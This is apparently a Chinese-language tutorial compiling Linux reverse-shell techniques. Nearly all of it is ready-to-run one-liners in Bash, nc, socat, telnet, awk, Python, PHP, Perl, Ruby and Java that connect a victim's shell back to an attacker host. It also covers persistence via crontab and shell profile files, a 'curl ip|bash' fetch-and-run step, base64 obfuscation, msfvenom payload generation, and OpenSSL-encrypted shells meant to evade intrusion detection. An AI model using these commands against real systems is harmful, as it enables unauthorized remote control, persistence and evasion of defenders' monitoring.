Linux 反弹 Shell 小结

Linux 反弹 Shell 的理解及各种方法

本文主要参考于:反弹Shell,看这一篇就够了

关于反弹 Shell

反弹 Shell:就是攻击机监听在某个 TCP/UDP 端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机,相对于正向连接(远程桌面、Web 服务、ssh、telnet),反弹 Shell 属于反向连接。反弹 Shell 通常适用于:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求
  • 目标机端口被占用
  • 目标机位于局域网,或 IP 会动态变化,攻击机无法直接连接
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的
  • ……

反弹 Shell 的方法

反弹 Shell 的方法较多,可以使用工具来反弹,如 Bash、NetCat 等,也可以用各种脚本,如 Python、PHP 等

攻击端监听

我们需要在攻击端上进行监听目标端的连接,使用 NetCat 进行监听:

1
nc -lvnp port

使用 Bash 来反弹

1
2
3
bash -i >& /dev/tcp/ip/port 0>&1
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
# 第一条反弹不了可以尝试第二条

具体的解释如下:

参数-i -c

  1. bash -i:产生一个交互式的 Bash
  2. bash -c:命令从字符串中读取

文件/dev/tcp

这是 Linux 中的一个特殊文件: 打开这个文件就类似于发出了一个 Socket 调用,建立一个 Socket 连接,读写这个文件就相当于在这个 Socket 连接中传输数据,我们可以通过重定向实现基于 TCP/UDP 协议的软件通讯,只要读取或者写入/dev/tcp/ip/port,系统就会尝试连接 Ip 对应的 Port 端口

文件描述符

在 linux 中一切皆文件,包括标准输入设备和标准输出设备,为了表示和区分已经打开的文件,linux 会给每个文件分配一个ID,这个ID是一个整数,被称为文件描述符

文件描述符 文件名 类型 硬件
0 stdin 标准输入文件 默认设备(键盘)
1 stdout 标准输出文件 默认设备(显示器)
2 stderr 标准错误输出文件 默认设备(显示器)

linux 程序在执行任何形式的 I/O 操作时,都是在读取或者写入一个文件描述符。这三个文件默认情况下都是打开的,在重定向的过程中,可以直接使用文件描述符

数据流重定向

基本的重定向:

  1. 标准输入(stdin):代码为 0,使用 < 或 <<
  2. 标准输出(stdout):代码为 1,使用 > 或 >>
  3. 标准错误输出(stderr):代码为 2,使用 2> 或 2>>

在输入重定向中,< 表示标准输入重定向,<< tag 表示将开始标记 tag 和结束标记 tag 的内容直接作为输入,在输出重定向中,> 表示标准输出重定向(直接覆盖文件),>> 表示将输出进行追加文件

一些特殊的用法:

  1. >&&>2>&1:将标准错误输出重定向到标准输出中
  2. 0>&1:将标准输入重定向到标准输出

反弹原理

首先&>使得标准输出重定向到了 TCP 连接上,然后0>&1使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了 TCP 连接中,因此输入和输出都可以在公网主机上进行,通过 TCP 连接和 Bash 进行交互

特殊的方式

写入定时任务

Linux Crontab 是用来定期执行程序的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
crontab -e

# 使用说明如下
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed

# 写入下面的命令每 1 分钟反弹一次,开始位置的 */n 时表示每 n 分钟个时间间隔执行一次
*/1 * * * * bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

这里要注意的是受害机为 Centos 时,可以使用bash -i >& /dev/tcp/ip/port 0>&1或者bash -c "bash -i >& /dev/tcp/ip/port 0>&1",而当受害机为 Ubuntu 时,要使用bash -c "bash -i >& /dev/tcp/ip/port 0>&1"具体原因见:解决ubuntu crontab反弹shell失败的问题

在定时任务执行后,会在/var/log/syslog等日志留下记录且系统可能会通过邮件通知命令的执行者

写入 Bash 配置

将以下反弹 Shell 的命令写入/etc/profile文件中,/etc/profile中的内容会在用户获取 Bash 时执行

1
2
bash -i >& /dev/tcp/ip/port 0>&1 &
# 最后面那个 & 为的是防止管理员无法输入命令(放在后台运行)

这里发现/etc/profile的权限是-rw-r--r-- root root一般用户无法修改,从这里反弹的约束比较大,可以把文件换为~/.bash_profile、~/.bash_login、~/.profile或者~/.bashrc(不同的获取 Bash 的方法读取的文件不同,具体可以参考:Linux 下的环境变量)来代替,因为这几个文件所需的权限都比较低,但是这几个文件不一定都存在

但我测试了感觉不是很好用,受害机在登陆后一输入命令就会断开连接,也许是环境的问题

其他的方法
1
2
3
4
5
6
7
8
9
10
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done

bash -c '{echo,反弹 shell 的 base64 编码}|{base64,-d}|{bash,-i}'

exec /bin/sh 0</dev/tcp/ip/port 1>&0 2>&0

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f; rm /tmp/f
# 注意:会在受害机上产生 /tmp/f 文件,类型为 fifo (named pipe),这里使用 rm /tmp/f 来删除(分号让后一命令等待前一命令执行完成后执行)

awk 'BEGIN{s="/inet/tcp/0/ip/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

使用 Curl 来反弹

Curl 是用于在本地计算机与远程服务器之间传输数据的命令行工具。 使用 Curl 时您可以使用 HTTP,HTTPS, SCP , SFTP 和 FTP 等协议下载或上传数据。 Curl 提供了许多选项,使您可以恢复上传下载,限制带宽,代理支持,用户身份验证等。 Curl 命令已预装在大多数 Linux 发行版中。

在攻击者 VPS 的 Web 目录里面创建一个 index 文件(index.phpindex.html),内容如下:

1
bash -i >& /dev/tcp/ip/port 0>&1

然后再目标机上执行如下,即可反弹 Shell:

1
curl ip|bash

curl IP|bash中的 IP 可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等

利用 Socat 和 Telnet

使用 Socat

攻击机开启本地监听:

1
2
3
socat TCP-LISTEN:port -
# 或者使用 nc
nc -lvnp port

目标机主动连接攻击机:

1
socat tcp-connect:ip:port exec:'bash -li',pty,stderr,setsid,sigint,sane

利用 Telnet

方法一:

攻击机开启本地监听:

1
nc -lvvp port

目标机主动连接攻击机:

1
mknod a p; telnet ip port 0<a | /bin/bash 1>a; rm a

注意:会在受害机上产生一个名为 a,类型为 fifo (named pipe) 的文件,故要加上rm a(分号让后一命令等待前一命令执行完成后执行)

方法二:

攻击机开启两个本地监听:

1
2
nc -lvvp portA
nc -lvvp portB

目标机主动连接攻击机:

1
telnet ipA portA | /bin/bash | telnet ipB portB

ipA 的主机输入的命令会在目标机上执行,执行的回显将通过 ipB 的主机显示出来

各种脚本反弹 Shell

使用 Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",post));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c:指定要执行的命令

使用 PHP

1
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

使用 Perl

1
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

使用 Ruby

第一种

1
ruby -rsocket -e 'c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

第二种

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

使用 Java

1
2
3
4
5
6
7
8
public class Revs {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

保存为revs.java执行:

1
2
javac revs.java
java revs

使用Runtime.getRuntime().exec()调用服务器命令进行反弹 Shell

使用 MSF 生成

Metasploit 框架为我们提供了生成一句话反弹 Shell 的工具,即 msfvenom,使用msfvenom -l来查询生成我们所需要的各类命令行一句话,我们直接可以使用msfvenom -l结合关键字过滤(如cmd/unix/reverse),列出我们需要生成的各类反弹 Shell 一句话的 Payload:

1
msfvenom -l payloads | grep 'cmd/unix/reverse'

metasploit 支持生成反弹 Shell 一句话的类型非常丰富,比如,我们获取一个 Python 反弹 Shell 的一句话:

1
msfvenom -p cmd/unix/reverse_python LHOST=ip LPORT=port -f raw

MSF Payload

具体参数可参考:MSFVENOM

获取模拟终端

上面所讲的各种方法获取的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是往往会发现其交互性非常的差,回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种:

  • 获取的虚拟终端没有交互性,我们想给添加的账号设置密码或执行 sudo 等命令,无法完成
  • 标准的错误输出无法显示,无法正常使用 vim 等文本编辑器等
  • 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接

这往往都是因为我们获取的 Shell 并不是标准的虚拟终端,为了能够完成输入密码等操作,我们必须模拟一个真正的终端设备,我们其实可以借助于 Python 默认包含的一个 pty 标准库来获取一个标准的虚拟终端环境,我们只需在获取的 Shell 里面输入如下命令,即可模拟一个终端设备:

1
python -c "import pty;pty.spawn('/bin/bash')"

使用 OpenSSl 加密

上文提到的反弹 Shell 的方法都有一个共同点,那就是 所有的流量都是明文传输的,这些通过 Shell 通过传输的流量都可以被管理员直接抓取并理解,当目标主机网络环境存在网络防御检测系统时,如:IDS(Intrusion detection systems 入侵检测系统)、IPS(intrusion prevention systems 入侵防御系统),网络防御检测系统会获取到我们的通信内容并进行告警和阻止。因此,我们需要对通信的内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密的 Shell

什么是 OpenSSL

OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份

SSL 协议要求建立在可靠的传输层协议(TCP)之上。SSL 协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET 等)能透明地建立于 SSL 协议之上。SSL 协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性

生成证书

在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书

1
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

生成时会提示输入证书的信息,如果不想填一路回车即可

反弹加密的 Shell

需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口

1
openssl s_server -quiet -key key.pem -cert cert.pem -port port

此时 OpenSSL 便在攻击机的 port 端口上启动了一个 SSL/TLS server

这时在目标机进行反弹 Shell 操作,命令为:

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s

这样就让反弹 Shell 的流量加密了


本文参考链接

反弹Shell,看这一篇就够了

Linux 反弹 shell 总结

Linux 反弹shell(二)反弹shell的本质

反弹shell的方法总结(base64绕过等等)

解决ubuntu crontab反弹shell失败的问题

什么是IDS、IPS及它们之间的区别

MSFVENOM 官方文档